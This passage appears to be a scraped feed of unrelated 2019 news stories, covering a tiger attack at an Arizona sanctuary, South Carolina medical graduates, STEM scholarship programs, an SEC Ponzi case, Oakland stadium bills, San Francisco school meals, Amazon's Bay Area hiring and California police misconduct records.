Monday when the attack occurred. Kraft took the blame for what he called an accident and said these situations occur when there is human error. Advertisement I was concerned for his welfare and did not stay focused on him, Kraft said. It only takes a fraction of a second for a captive wild animal to revert to their instinctual behavior. The declawed 11-year-old tiger used his teeth to hold Kraft until staff intervened, the sanctuary said. Kraft was taken to a nearby hospital. He will be recovering for several months. Bowie is fine and will not be euthanized, the group said. Kraft is a former Las Vegas performer who stopped using big cats in his shows. He began urging other entertainers to stop and developed Keepers of the Wild to provide a home for exotic animals. Keepers of the Wild is home to 50 different species and sub-species of exotic and native wildlife, according to the statement. The various habitats occupy more than 0.09 square miles (0.23 square kilometers) of developed land, and the big cat species occupy 20 individual areas. The attack in Arizona came two days after a Sumatran tiger at the Topeka zoo in Kansas attacked a veteran zookeeper who had come into the animals enclosure to clean it up. The zookeeper was hospitalized with cuts and puncture wounds. Officials have said they are reviewing the zoos animal handling protocols because the tiger should have been secured and wasnt. The zoo did not consider euthanizing the tiger. Copyright 2019 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. Homegrown doctors to practice in SC UofSC medical graduates completed clinical practice in Florence, will stay for residency For Laine Way, there was never a question about what she wanted to do when she grew up. The fourth-year medical student has wanted to be a family medicine doctor since kindergarten. She says her early interest in medicine was sparked by Dr. Clarence Coker, her childhood physician in Manning, S.C. Dr. Bill Hester, UofSC School of Medicine assistant dean for medical student education in Florence, stands with Laine Way on match day. Laine will complete her residency at McLeod Health in Florence. I wanted to go back to a small town and form those lifelong relationships and relate things to patients in a way that really improved their health, like Dr. Coker did for me and my family, says Way. Students like Way who want to practice primary care in rural communities are essential to the health of South Carolina and beyond. Especially since the American Association of Medical Colleges predicts a growing and aging population could lead to a shortfall of as many as 50,000 primary care physicians by 2030. Way has remained committed to her goal, graduating from Manning High School in 2011 and enrolling at the University of South Carolina. She excelled as a student in the South Carolina Honors College and the College of Arts and Sciences, earning a biology degree in 2015, before joining the UofSC School of Medicine Columbia. In 2017, she began her clinical training at the schools Florence Regional Campus program. The program includes clinical rotations at McLeod Health and MUSC Health Florence, previously Carolinas Hospital System. For Way, being part of the Florence program was an easy decision since it meant shed be less than an hour from her hometown of Manning and able to treat patients from her own community. I was never getting this medical degree for myself, it was for the betterment of my community and the people that I would one day serve. Laine Way, UofSC School of Medicine, Class of 2019 On May 10, Ways dream will be realized when shes awarded her Doctor of Medicine degree. Later this summer, shell begin the next stage of her training, when she starts her residency in family medicine at McLeod Health in Florence. Way will be joined at McLeod by her UofSC classmates Parker Edison and Miranda McCoy. Edison, whos originally from Travelers Rest, S.C., also completed his clinical education at the Florence Regional Campus. Edison and Way were drawn to the Florence program because of its direct access to patients and attending physicians, as well as its focus on rural and primary care. They ultimately chose to pursue residency in Florence for the same reasons. Working with McLeod as a medical student, I saw the capacity of their residents, Way says. That is what ultimately drove my decision. I knew once I finished my residency, I would be able to go back to a small town and be comfortable in my white coat taking care of whatever patients came my way. Edison said he went into his residency search looking for a program that would allow him to continue the individualized learning experience he had found in Florence. After interviewing with numerous programs in the Southeast, he decided hed already found the best fit at McLeod. Since Laine and I have already been here for two years, we feel connected to the hospital and the community. I feel like well be able to jump in and really make a difference, Edison says. Graduating medical student Parker Edison and his family will stay in Florence for his residency at McLeod Health. Edison delivered his daughter Miriam at McLeod Regional Medical Center last fall. For Edison, the connection to Florence and McLeod goes even further. Last fall, he was able to deliver his first child, a daughter named Miriam at the McLeod Regional Medical Center. Most of Edisons family lives in western North Carolina, a two-hour drive from most medical specialists, so he says he understands the challenges faced by those in rural communities. He also feels being raised and educated in South Carolina has given him a unique understanding of the culture and dynamics of the state, as well as the unique medical needs of its more rural areas. Were excited to be able to stay longer in the community. If not for Florence, I dont know if I would be the same physician that Im going to be or the same resident. I feel like my experiences here will give me even more to offer whatever community I eventually work in. Historically more than half of UofSC's School of Medicine M.D. alumni have chosen to stay in South Carolina to practice. In fact, 1,349 of 2,474 M.D. alumni currently live and practice in South Carolina. Way hopes to be number 1,350. I never really saw myself anywhere other than back home. There is a huge need for new family medicine physicians, and it is really hard to recruit someone to practice in a rural area, unless they have a tie to a small town, Way says. I was never getting this medical degree for myself, it was for the betterment of my community and the people that I would one day serve. Share this Story! Let friends in your social network know what you are reading about UMBC's Meyerhoff Scholars Program has been lauded as a national model for supporting diverse students in STEM fields. Other institutions across the United States have begun to ask if UMBC's approach could work for them. A new paper published in Science on April 26 answers that question with a resounding "yes." Since its inception in 1989, UMBC's Meyerhoff Scholars Program has graduated 739 students with undergraduate degrees in science and engineering, with 76 percent continuing on to graduate or professional programs in STEM. Meyerhoff alumni have earned 300 Ph.D. degrees, 130 M.D. degrees, 54 M.D.-Ph.D. degrees, and 253 master's degrees to date, and hundreds more are currently pursuing graduate degrees. Culture shift While these high achieving, research-focused students are more likely than the average student to go on to a graduate degree, research has shown that their UMBC experience has had a major impact on their trajectories. Highly qualified students who were offered admission to the program but opted to attend other universities were half as likely to graduate with a STEM undergraduate degree and about five times less likely to pursue a graduate degree in STEM than those who accepted the offer to join the Meyerhoff Scholars Program. The program has also resulted in a culture shift that supports the success of underrepresented students in STEM who are not Meyerhoff Scholars, and has informed the creation of similar scholars programs at UMBC focused on other fields. With all these positive results, the major question became: Is the Meyerhoff Scholars Program inherently unique to UMBC, with its charismatic African American president, status as a historically diverse institution that has welcomed students of all races from its founding, and location in a region rich in diversity? Or could similar programs be implemented at very different institutions with similar success? advertisement Shared commitment The new paper in Science reveals, for the first time, findings from the first four years of a five-year initiative to adapt the Meyerhoff Scholars Program at Pennsylvania State University at University Park and at the University of North Carolina at Chapel Hill, supported by the Howard Hughes Medical Institute. While strikingly different in some ways, these three institutions now share a commitment to all components of Meyerhoff-style programs. These include intensive advising, immersive transition activities the summer before the students' first semester of college, institutional leadership that makes the program a priority, training for faculty and staff, and other components. Findings from Penn State's Millennium Scholars program and UNC's Chancellor's Science Scholars program show exciting success at an accelerated pace, with students achieving the project's goals at a level on par with the success of recent Meyerhoff cohorts. For example, retention in STEM among the Penn State and UNC cohorts was similar to that of current Meyerhoff Scholars. Additionally, the average GPAs and four-year graduation rates of the first Penn State and UNC cohorts exceeded that of the first four Meyerhoff cohorts, in the early 1990s. These findings are especially encouraging, because the locations, historical leadership, and student bodies at these institutions look very different than they do at UMBC. Findings also suggest benefits for students of all backgrounds -- including, but not limited to, the 65 to 80 percent of program participants who are from underrepresented groups in STEM. At all three institutions, students in the program had higher GPAs and were more likely to stay in STEM majors than classmates who did not participate in the program, regardless of their race, ethnicity, or gender. Laying the groundwork "These findings confirm that Meyerhoff-like programs and student outcomes can be achieved elsewhere, even at institutions very different from UMBC," says Michael Summers, Robert E. Meyerhoff Chair for Excellence in Research and Mentoring and Distinguished University Professor at UMBC. Based on the promise of this adaptation, other universities have begun exploring Meyerhoff-like programs, with the Chan Zuckerberg Initiative recently announcing a massive replication effort in the University of California system. "It is my hope that this initial effort has laid the groundwork for partnership expansion with an even broader range of institutions," Summers says. With the impressive results just published in Science, Summers notes, "The high level of success achieved at UNC Chapel Hill and Penn State should now show all institutions that inclusive excellence is an achievable priority, regardless of the institution's size, location, and history. Success was dependent on the willingness of institutions to partner together and learn from each other." FLORENCE, S.C. Palmetto Brick is celebrating its 100th anniversary this year. Family-owned and -operated since 1919, the brick manufacturing plant is in Wallace with retail showrooms in Florence, Myrtle Beach and locations near Charlotte, North Carolina. To celebrate its anniversary, the company is hosting events in all of its retail stores. On Thursday, in conjunction with a ribbon cutting for its membership in the Greater Florence Chamber of Commerce, Palmetto Brick served lunch at its Florence retail store on Melon Street. The company was founded by J. L. Anderson in 1919. Andy Rogers, vice president and a fourth-generation family member to work in the company, said the company was started in Wallace on the Pee Dee River by his great-grandfather. Rogers said the company is built on good fortune, good employees and loyal customers. Without any one of them, he said, it wouldnt have lasted 100 years. FLORENCE, S.C. Supporters of the Florence Symphony Orchestra attended the 19th annual Taste of the Symphony on Thursday night at Roseneath Farm on Cherokee Road. Several hundred people attended to enjoy live music, an array of food from local chefs, and a socially good time to kick off spring in Florence. Springtime in Paris was this years theme. More than 20 chefs from restaurants and businesses, along with members of the Florence Symphony Guild prepared an array of food from barbecue to lamb chops to an array of sweets and appetizers. Sen. Hugh K. Leatherman Sr. presented a check to the guild for $10,000 during the event. The money is a Florence County grant. Florence Symphony Guild President Patsy Stokes said the money will be used to support the Florence Symphony Orchestra, two new Francis Marion music scholarships and the Funds also help the Florence Symphony Youth Orchestra. She said they also support musicians on request. The Florence Symphony Orchestra celebrated its 70th anniversary with the 2018-19 season. The Florence Symphony Guild was started in 1970. It is a nonprofit organization dedicated to the growth of the symphony and encouragement of young musicians. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Orange Opens Orange Digital Centre in Tunisia By Maurice Nagle , Web Editor In 2014, Facebook (News - Alert) founder Mark Zuckerberg proclaimed the possibility of ubiquitous internet connectivity explaining "Almost 90 percent of the world's population already lives within range of an existing cellular network For everyone in those areas, we don't need to build completely new kinds of infrastructure to help them connect. We just need to show why it's valuable and make it affordable." This week, Orange (News - Alert) announced the launch of the Orange Digital Centre in Tunis, which is poised to support innovation all around in Tunisia. The first Orange Digital Centre for Africa and the Middle East is officially open for business, ready to give start-ups the boost they need to get off the ground. The center offers four programs. The coding school provides free access to training, specifically targeting youth with events driving a strong developer community. The FabLab Solidaire delivers a digital production workshop to leverage digital equipment to create prototypes and further flesh out projects, and support cooperation among youth. Orange Fab is a startup accelerator, to aid in expanding the Orange Groups partnerships and extend the international Orange Fab network. The fourth prong of programming is Orange Digital Ventures Africa, a 50-million euro investment funds to support startups in the Middle East and Africa. Orange has been a busy bee, bringing together 27 universities in Tunisia, and five centres in the region, more than capable of offering the access to the network and technologies necessary to drive success through providing underserved regions with overdue attention. Alioune Ndiaye, Chief Executive Officer of Orange Middle East and Africa, noted, I am very proud to launch the first Orange Digital Centre in Tunis. By the end of this year, we will set-up similar centres in Senegal, Cote dIvoire, Jordan, Cameroon, Burkina Faso and Sierra Leone. From 2020 onwards, Morocco, Egypt and the rest of the countries in the Middle East and Africa region will have their own Orange Digital Centre. Dedicated to our countries digital development, these new spaces aim to consolidate Oranges standing as a key player in the digital transformation of the countries where we operate. Orange already possesses a strong international presence, and now is lending a much deserved hand. It seems Zuckerberg should be pleased with the progress taking place. Edited by Maurice Nagle > All the News EU Member States granted protection to more than 300 000 asylum seekers in 2018. Almost 30% of the beneficiaries were Syrians The 28 Member States of the European Union (EU) granted protection status to nearly 333 400 asylum seekers in 2018, down by almost 40% from 2017 (533 000). In addition to these, the EU Member States received over 24 800 resettled refugees. The largest group of beneficiaries of protection status in the EU in 2018 remained citizens of Syria (96 100 persons, or 29% of the total number of persons granted protection status in the EU Member States), followed by citizens of Afghanistan (53 500 or 16%) and those of Iraq (24 600 or 7%), as compared with 2017 when 172 900 or 32% of asylum seekers granted protection were Syrians, 99 800 or 19% were Afghanis and 63 800 or 12% were Iraqis. Syrians were the largest group granted protection status in sixteen Member States in 2018. Of the 96 100 Syrians granted protection status in the EU, almost 70% were recorded in Germany (67 000). Eurostat - Asylum decisions in the EU - 2018 (432.31 ko) Team Summary: Both Williams drivers would complete single installation laps in the opening Friday practice session. Leclerc would set the first time with a 1m:49.134. Vettel would move into second while Leclerc would set a 1m:48.343 but this was way of the pace. The session would be red flagged as a result of a drain cover coming lose and when George Russell went over it the cover came out and struck the underside of the Williams car ending up damaging the floor and rear diffuser. There were also concerns over the chassis as the car was brought back to the Williams pit. The engine would shutdown seeing George leave his car looking underneath to assess the damage. On top of that the fork lift on the recovery vehicle would leak oil all over the Williams car as a result of the impact of the fork lift with a bridge. It would be announced that the session would not be restarted as the drains were checked. Television replays suggested that Leclerc's car had lifted the drain cover that was then struck by George. Robert Kubica: Robert would be first out for Williams running on the hard tyre for his installation lap. He would not return to the track with the red flag and the cancellation of the session. George Russell : George would follow Robert out but was on the soft tyre. After a short break George would return running on the soft tyre. But he would stop out on the track with a failure of the diffuser. The session would be red flagged. Replays showed that a drain cover was sucked up and when George went over it it hit the bottom of the car and destroyed the rear diffuser. When interviewed George would say" "Going down the straight on my normal line ... big bang and the engine turned off ... ruined the floor ... worried for the chassis now ... completely ruined our session ... not what we need at this stage." On April 26, 2019, the Securities and Exchange Commission charged Christopher D. Dougherty and several entities he controlled, with operating a Ponzi scheme that defrauded his investment advisory clients out of $7 million. The San Diego District Attorney's Office separately announced criminal charges related to the same conduct. The SEC alleges that Dougherty provided investment advice to school district employees, hospital employees, veterans, and neighbors, most of whom were unsophisticated investors and trusted Dougherty completely. According to the SEC's complaint, Dougherty had his own California-registered investment advisor, C&D Professional Services, Inc. (dba C&N Wealth Management) ("C&D"), and through C&D, offered clients the opportunity to invest in tax-free "private placements" that purportedly provided quarterly dividends of about 5%. The complaint alleges that, in reality, there were no private placements. Dougherty was simply running a Ponzi scheme by taking new investor money and using it to pay quarterly dividends to existing investors and his personal expenses. According to the complaint, Dougherty also offered investors the opportunity to invest in his farm - JTA Farm Enterprises, LLC ("JTA Farm"), and his real estate business - JTA Real Estate Holdings, LLC ("JTA Real Estate"), but investor funds in these ventures were commingled with the C&D investments and used as part of the Ponzi scheme fraud as well. Dougherty and his wife filed for personal bankruptcy in October 2018. The SEC's complaint charges Dougherty, C&D, JTA Farm, and JTA Real Estate with violating the antifraud provisions of Section 17(a) of the Securities Act of 1933, and Section 10(b) and Rule 10b-5 of the Securities Exchange Act, and charges Dougherty and C&D with violating the antifraud provisions of Sections 206(1) and 206(2) of the Investment Advisers Act of 1940. It also seeks relief including permanent injunctions, disgorgement of ill-gotten gains plus interest, and civil penalties. The SEC's investigation was conducted by Sara Kalin and Maria Rodriguez of the Los Angeles Regional Office, with assistance from bankruptcy counsel, Neal Jacobson, of the New York Regional Office. The case is being supervised by Marc Blau and the litigation will be led by Amy Jane Longo. The SEC appreciates the assistance of the California Department of Insurance, the Office of the United States Trustee, the San Diego County Sheriff's Department, the San Diego District Attorney's Office, and the San Diego Police Department. The Oakland As cleared early hurdles this week at the state Legislature with the approval in committee of two bills essential to the teams plan to build a new stadium at Howard Terminal at the Port of Oakland. The bills SB293 and AB1191 would streamline the process for the As to start building a privately financed ballpark, which would include affordable housing and commercial properties. In May, SB293 will be heard on the Senate floor and AB1191 will be voted on in the Assembly Appropriations Committee. Initially, maritime workers opposed the bills as attempts to bypass existing law by eliminating the authority of the State Lands Commission and the San Francisco Bay Conservation and Development Commission. The SLC and BCDC have jurisdiction over waterfront developments in the state. But the bills authors added amendments to include language and clarification confirming the jurisdictions of the State Lands Commission and BCDC. I actually feel pretty good about the hearings because we got good amendments on both bills. We got commitments from both of the authors to continue to work with us to try to minimize impacts on the maritime community on the project, and that is super important for us going forward, said Mike Jacob, the vice president and general counsel for the Pacific Merchant Shipping Association, which represents ocean carriers and marine terminal operators at the Port of Oakland. All of those commitments, right now, say they are going to protect the authority and the decision-making processes at BCDC and State Lands Commission, and its up to us to make sure those agreements are in place and enforced throughout the legislative process, he added. SB293, authored by state Sen. Nancy Skinner (D-Berkeley), would streamline the process for financing infrastructure improvements roads, walkways, electrical and sewer lines near the new ballpark site. The Oakland City Council will ultimately decide on whether the As are eligible for city funding. The bill was passed unanimously Wednesday by the Governance and Finance Committee and will be heard on the Senate floor in May. A date has not yet been set. AB1191 would give the State Lands Commission which manages 4 million acres of tide and submerged lands authority to decide whether the ballpark at the Port of Oakland is an appropriate use of the land, said Assemblyman Rob Bonta, D-Alameda, author of the bill. Use of the property must be consistent with maritime or water-dependent commerce, navigation and fisheries, according to the legislation. The bill also would allow the commission to make changes to the proposed housing and commercial components of the project, Bonta said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. To me, its a win-win in multiple ways and allows us as a city, in Oakland after losing one team, the Golden State Warriors across the bay to San Francisco and another team, the Oakland Raiders, going to Las Vegas to keep a team that wants to stay, Bonta said. The As said the bill would ensure that environmental justice concerns in the community surrounding the stadium, including air pollution, water quality and the potential spread of pollutants in the groundwater, are addressed in the project. The Commission of the Port of Oakland will vote on the terms of an agreement between the As and the Howard Terminal property next month. The State Lands Commission and the BCDC are likely to take the issue up soon after passage of the bills. The project has garnered criticism from maritime workers, who have concerns that the basin the stadium would occupy would be heavily impacted by thousands of people attending games. The basin is a key waterway where an average of 25 ships unload and load cargo each week. Sarah Ravani is a San Francisco Chronicle staff writer. Email: sravani@sfchronicle.com Twitter: @SarRavani The San Francisco school board has refused to renew a contract to provide 30,000 school meals each day, citing frequent complaints that the food doesnt taste good. But without a contract, district officials have no way to feed students starting July 1. Four of seven board members voted against renewing the $11 million contract with Revolution Foods, an Oakland-based company that provides breakfast, lunch and dinner for students during the summer and school year. Board President Stevon Cook said that he often hears the food is inedible, although hes never tried one of the school lunches. The no vote for me was in response to persistent complaints that people dont want to eat the food, he said. The amount of complaints was so heightened, I was concerned about eating it. Jana Asenbrennerova / Special to The Chronicle Board members Alison Collins, Gabriela Lopez and Faauuga Moliga also opposed the contract renewal. The vote, however, appears to be more bluster than bite, with Cook acknowledging that the board will bring the contract back for another vote on May 7. Theres no way that anyone is going to allow children not to be fed, he said. Board member Rachel Norton questioned the boards move, saying that while improving school meals is a common goal, the vote failed to acknowledge that there was no other bidder that can provide 30,000 meals and meet the districts high nutritional and food sourcing standards. There is no other option, she said. This is all about sending a message of frustration. She also suggested the seven board members eat the school meals instead of having other catered food at their meetings. I think from here on out, we should have whoever provides the meals cater the board meal, she said. Lets eat what the kids eat. Student Jiayu Mai, a senior at San Francisco International High School, said he eats the lunches every day. Its not luxury food, said Mai, who serves on the board as a student delegate. But, to tell you the truth, the food is actually OK ... and some days tastes delicious. He particularly likes the drumsticks and rice bowls. Mai said he felt the comments by board members were not fully informed, that the district should survey all students instead of relying on anecdotal feedback. Its not really fair to the students who love the food, he said. The food is being consumed by students. Jana Asenbrennerova / Special to The Chronicle Cook said he scheduled an informational meeting prior to another vote on the contract to learn more about the bidding process and hear more about how much food is wasted in schools. We still have time, he said. Im just asking for more information. San Francisco Unified started using Revolution Foods in 2013. At the time, it was a more expensive option than the previous vendor and considered the top-shelf version of school lunches. Unlike other providers, the company didnt freeze meals. They are prepared in the East Bay and trucked to city schools and warmed up. Revolution Foods founder and CEO Kristin Groos Richmond said in a statement Friday that the companys staff have made and are making continual improvements to address any concerns that have been elevated to us from the school district, especially around providing more culturally relevant menu items and menu design. The company has launched or reformulated close to 100 culturally relevant recipes exclusively for SFUSD, re-designing old favorites and introducing new meals this school year in response to student requests, Richmond said. Revolution uses student engagement events, surveys, focus groups and teacher sampling to get feedback, she said. Our most critical concern right now is that many students rely on our meals as the source of their daily nutrition needs, Richmond added. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. On Thursday, the elementary school lunch menu included a choice of Greek meatball flat bread, Kung Pao chicken or cheese lasagna. There are also vegetables, fruit and milk provided, although the board banned chocolate milk in 2017. Adhering to federal, state and district standards, the food contains no preservatives or high-fructose corn syrup and its never fried. San Franciscos guidelines also require the meals provider to not only follow nutritional requirements, but also source food from farmers and other companies with high labor, environmental and animal welfare standards, said Jennifer LeBarre, the districts executive director of Student Nutrition Services. And then, the district must choose the lowest bidder that meets the standards. Its all of these things that go into it, she said. Ultimately, Revolution Foods is our best option. Last year, the board approved a five-year contract with the company, which must be renewed each year. The only other bidder for the contract last year could provide only 18,000 meals, district officials said. The district pays Revolution Foods about $2.50 for each of the 6.5 million meals served annually. The annual school nutrition budget, including labor and other costs, is $26 million, although federal, state and other funding pays only $20 million of that. The district has to cover the rest. Several board members and district officials said the ultimate goal would be for the meals to be made on site, at each school or at a central kitchen. We may need to approve this contract this year, but were not convinced were really doing our due diligence, said board member Alison Collins. I think this conversation is important, because if we really care about it, its easy to complain, but were going to need to make it a priority. Jill Tucker is a San Francisco Chronicle staff writer. Email: jtucker@sfchronicle.com Twitter: @jilltucker When Amazon created a contest for cities that wanted to host a second headquarters, or HQ2, the Bay Area turned in 160 pages arguing why it should win. It didnt. And though northern Virginia ultimately won a promise of thousands of new tech jobs, it didnt much matter. The Bay Area already has more high-paying Amazon jobs than anywhere besides Seattle. Call it a stealth HQ2. With a quiet presence stretching back decades, Amazon says it now has 7,000 white-collar workers in the Bay Area, which makes the region home to a third of its North American workforce outside its hometown. Thats three times as many employees as the next largest center, northern Virginia, according to Amazon. It is also hiring more actively in the Bay Area than anywhere else but Seattle. Amazon has pledged to bring at least 25,000 additional jobs to a site in Virginia, where a new office near National Airport will greatly increase its presence in the region. But that project is years from completion. Meanwhile, several key initiatives, from Kindle e-book readers to Twitch streaming to online ad technology, are run out of the Bay Area. Where Amazon seeks to compete most directly with other tech giants, it has tapped their workforce and planted offices in their backyards. Even when they go to another place and call it their second headquarters, you wonder if it really is, said Jim Wunderman, head of the Bay Area Council, a public policy group that worked on the regional headquarters bid. Tam Duong Jr./The Chronicle Amazon shows no sign of slowing its recruiting in the Bay Area, according to Thinknum, a data analysis startup that scours job listings to find hiring trends. Thinknum did a custom analysis of Amazons hiring at The Chronicles request. In early April, Amazon had more than 1,700 job openings in San Francisco, Sunnyvale, Palo Alto, East Palo Alto, Cupertino and Santa Clara roughly the number of positions in New York and northern Virginia combined. Amazon is still hiring most aggressively in Seattle, with 10,675 job openings, according to Thinknum. The Bay Area has an incredibly talented and highly educated workforce, with a strong culture of innovation, an Amazon spokeswoman said in an email. We look forward to continuing to hire locally for exciting roles in a number of fields. When Jeff Bezos founded Amazon.com as an online bookstore in 1994, he didnt consider California. At the time, retailers shipping across state lines didnt have to collect sales tax, so Californias large population ruled it out. He opted for Seattle instead, for its lower taxes and proximity to a big West Coast book distributor. Bezos did make frequent trips to the Bay Area to raise $8 million from Menlo Park venture capital firm Kleiner Perkins, for example and to snap up Bay Area startups, typically moving the companies wholesale to Seattle. Amazon established a small presence in San Francisco in 1999, when it acquired Alexa Internet, a San Francisco maker of website measurement tools (not responsible for the virtual assistant also named Alexa). At founder Brewster Kahles insistence, it remained in San Francisco, a rare exception. We were pretty consolidated in the Seattle market. That was home base, said Paul Capelli, an Amazon spokesman from 1998 to 2000. He remembers when the company could fit into a single auditorium for its all-hands meetings. Today, Amazons worldwide corporate workforce could fill Levis Stadium eight times over. When Amazon made an acquisition, it was buying both the technology and the people behind it, Capelli said. It folded those startup teams into the Seattle campus to tap their brainpower and to make it harder for Silicon Valley employers to poach from them, he said. It wasnt until Amazon got into direct competition with search engines Google and Yahoo that it put down roots on their turf. In 2003, Amazon created a company, A9.com, working on search tools, and rented a large office in Palo Alto, where it could fish talent from other employers. A year later, a group of Amazon hardware engineers set up shop in a Palo Alto law library to create the first Kindle device. It was the start of Amazons hardware research and development team, Lab126. The poaching fears were justified: Of A9s founding team, CEO Udi Manber went to Google; business chief Owen Van Natta went to Facebook; and engineering head Bill Stasior left to run Siri at Apple. That was the trade-off of entering the Bay Areas cutthroat market for talent: The same executives and engineers Amazon courts have more options than they might in Seattle, where Microsoft is the only other tech giant. I look at the massive amount of talent in the Bay Area, and the thing is, Amazon is not going to be the biggest player in town, said James Thomson, who worked as a business development lead at Amazon from 2007 to 2013. There are players who are equally able to steal talent away. Tam Duong Jr./The Chronicle Being here is about more than access to highly skilled workers, according to AnnaLee Saxenian, a professor and dean of the School of Information at UC Berkeley, known widely for her research on Silicon Valley. Its also keeping your finger on the pulse, Saxenian said. She pointed out that Nokia sold half of all smartphones in 2007, the year Apple introduced the iPhone. But with its headquarters in Helsinki, the distance from Silicon Valley may have contributed to its ultimate demise. If they had had a bigger presence here, they wouldnt have been so blindsided by Google and Apple, who innovated and created a mobile internet, Saxenian said. Not being here has been a risk for those companies. Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes Though software employment in other regions is on the rise, the Bay Area added nearly 34,000 tech jobs last year, according to a study by the Computing Technology Industry Association far more than any other metro area. And Amazon is trying to hire more software engineers in the Bay Area than any other job category, according to Thinknum. In San Francisco, Amazon Web Services, the companys fast-growing cloud division, has hundreds of job openings. Twitch, Amazons video-game-focused YouTube competitor, is hiring dozens. In Sunnyvale, near Apples home turf, Lab126, Amazons gadget-design unit, wants to hire hundreds of hardware engineers. What Amazon doesnt have is a central presence in the region like Salesforce Tower, Apple Park or the Googleplex, or even Microsofts long-standing campus in Mountain View. Instead, its workers are spread between San Francisco skyscrapers and low-slung office parks in Silicon Valley. The company has an estimated 16 office leases covering 1.5 million square feet in the Bay Area, according to real estate data firm CoStar. In San Francisco, Amazon leases more square footage than Airbnb, Twitter and Square, which are headquartered in the city. Jesse Gundersheim, a market economist at CoStar, said hes not surprised Amazon is stretching out in San Francisco, even as other local governments bend over backwards to bring Amazon to their doorsteps. In recent months, Virginia agreed to pay $750 million and Arlington County chipped in another $23 million in incentives for the company to build its second headquarters in Crystal City. Amazon doesnt always win these fights: A plan for another huge Amazon office in New York was scrapped after it was criticized for being bad for residents and taxpayers. Amazons quiet growth in the Bay Area, amid other tech giants, hasnt drawn similar attention or controversy. An A to Z guide to Amazon in the Bay Area Amazon is now in a range of businesses, from video streaming to hardware. Here's where it's hiring in the Bay Area. A9.com, a maker of search and advertising tools for Amazon and other clients Alexa Internet, a web analytics company that tracks internet traffic; confusingly, this predates and is not related to the voice service Amazon also owns Amazon Web Services, a vast array of cloud services that lets businesses run their applications on Amazon servers Goodreads, a social media site that helps readers find and share books they love Lab126, a hardware lab that developed the Kindle and Echo Twitch, a popular online service for watching and streaming video games Source: Chronicle research See More Collapse Their presence in San Francisco and their desire to locate in a top tech city, Gundersheim said, is not predicated on receiving additional tax breaks from city government. The legions of software engineers, a workforce unmatched elsewhere, are incentive enough. Melia Russell is a San Francisco Chronicle staff writer. Email: melia.russell@sfchronicle.com Twitter: @meliarobin A new transparency law focused on police misconduct in California has exposed numerous instances of illicit activity under the color of law sometimes going back years and a slew of additional records are expected to come from Bay Area law enforcement agencies in the coming weeks and months. Many of the revelations to come from SB1421 are the product of record requests filed by news outlets across the state, including The Chronicle, which joined in a collaborative called the California Reporting Project to file hundreds of public records requests for these newly unsealed records. Specifically, the unsealed cases provide details on officers who: fired a gun used force that resulted in great bodily injury or death sexually assaulted a member of the public lied, falsified reports, tampered with evidence or engaged in other forms of dishonesty While the statute, SB1421, went into effect Jan. 1, few records were immediately released for public consumption. Every law enforcement agency in the state has its own record retention policy, volume of misconduct cases and staff bandwidth for tracking down and redacting files. Departments also have varying definitions of what constitutes great bodily injury, said Rocky Lucia, an attorney who represents police unions across California. The statute does not include a definition. Some law enforcement agencies, especially smaller ones, lack redaction software, said Shaun Rundle, deputy director of the California Peace Officers Association. The bottom line is, were just trying to work with it, Rundle said. We dont create the laws, we just enforce them. SB1421 is the law of the land now, so were going to find a way to comply. Lucia and others sued on behalf of police unions to prevent the release of pre-2019 records, saying the law could not be applied retroactively. But a state appeals court dismissed that argument and ruled that SB1421 applies to all records, no matter when they were created. Just a few months into the law taking effect, we have already learned a great deal about previously unknown police misconduct. In Antioch, an internal investigation found Sgt. Santiago Castillo repeatedly padded his hours, mishandled evidence and provided sensitive information to known criminals. The 21-year veteran of the department ultimately resigned last year after Chief Tammany Brooks wrote a letter in late 2017 stating his intent to fire Castillo. Two Santa Clara County corrections officers were fired in 2016 and 2017 after investigators found that one deputy used unnecessary force when she choked and stepped on an inmate and both attempted to cover it up. An investigation by the Fairfield Police Department turned up three officers who engaged in sexual misconduct with members of the public, four officers who were found to have withheld evidence, committed forgery or falsified reports, and several others who used force that resulted in broken bones and two deaths. The records spanned more than two decades. A Walnut Creek police officer kept his job after investigators in 2017 found that he had mishandled evidence in dozens of cases and may have left a bag of Vicodin at the scene of an arrest. Contra Costa County District Attorney Diana Becton said she would review all the cases he handled, according to KQED and the Bay Area News Group. In Richmond, a 2016 sexual exploitation scandal involving a teenage girl and multiple Bay Area law enforcement agencies resulted in the suspension of one Richmond police officer for sexual misconduct and the firing of another for dishonesty. An Alameda County sheriffs deputy who was charged with severely beating a suspect in a San Francisco alley in 2015 had previously been involved in a pair of fatal shootings, one less than two months before the baton attack. At least one Bay Area district attorney said he would re-examine past cases and charging decisions after new misconduct allegations came to light, according to a report. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. For decades, California had some of the strongest protections for law enforcement personnel records in the country. But a package of bills that went into effect this year, including SB1421, broadened public access in the state. The others include a law that requires agencies to post their policies and training materials online, while another compels departments to release body-camera footage of certain major incidents. State Sen. Nancy Skinner, D-Berkeley, who authored SB1421, said she has been surprised by the sheer number of sexual assault cases released so far this year. She said the statute is helping to build back trust between law enforcement and the communities they serve. Rich Pedroncelli / Associated Press For those whose family members have been killed by law enforcement, the records can ease their frustration by providing more information on how investigations were handled, Skinner said. Many agencies acted quickly when there was serious misconduct, she said. I hope, going forward, any agency that did not act swiftly and definitively would now do so. Lucia, meanwhile, said the law fuels the flames of police critics and activists and might distort public perception of misconduct, because all the records are coming out at once. Investigators might now alter their behavior during probes into use of force and officer-involved shootings, knowing their statements will be made public, Lucia said. I think its going to change the way people describe events. Anyone, when they put words onto a page, will be mindful that a sentence can be taken out of context, he said. I dont think anyone is afraid of transparency. What were afraid of is the spin. Kimberly Veklerov is a San Francisco Chronicle staff writer. Email: kveklerov@sfchronicle.com Twitter: @kveklerov Students make ship models for marking the 70th founding anniversary of the Chinese People's Liberation Army (PLA) Navy in Handan City, China's Hebei Province. (photo: Hao Qunying/Guangming Picture) China will host a four-day celebration in the port city of Qingdao, Shandong Province, for the 70th founding anniversary of the People's Liberation Army (PLA) Navy, including a grand naval parade 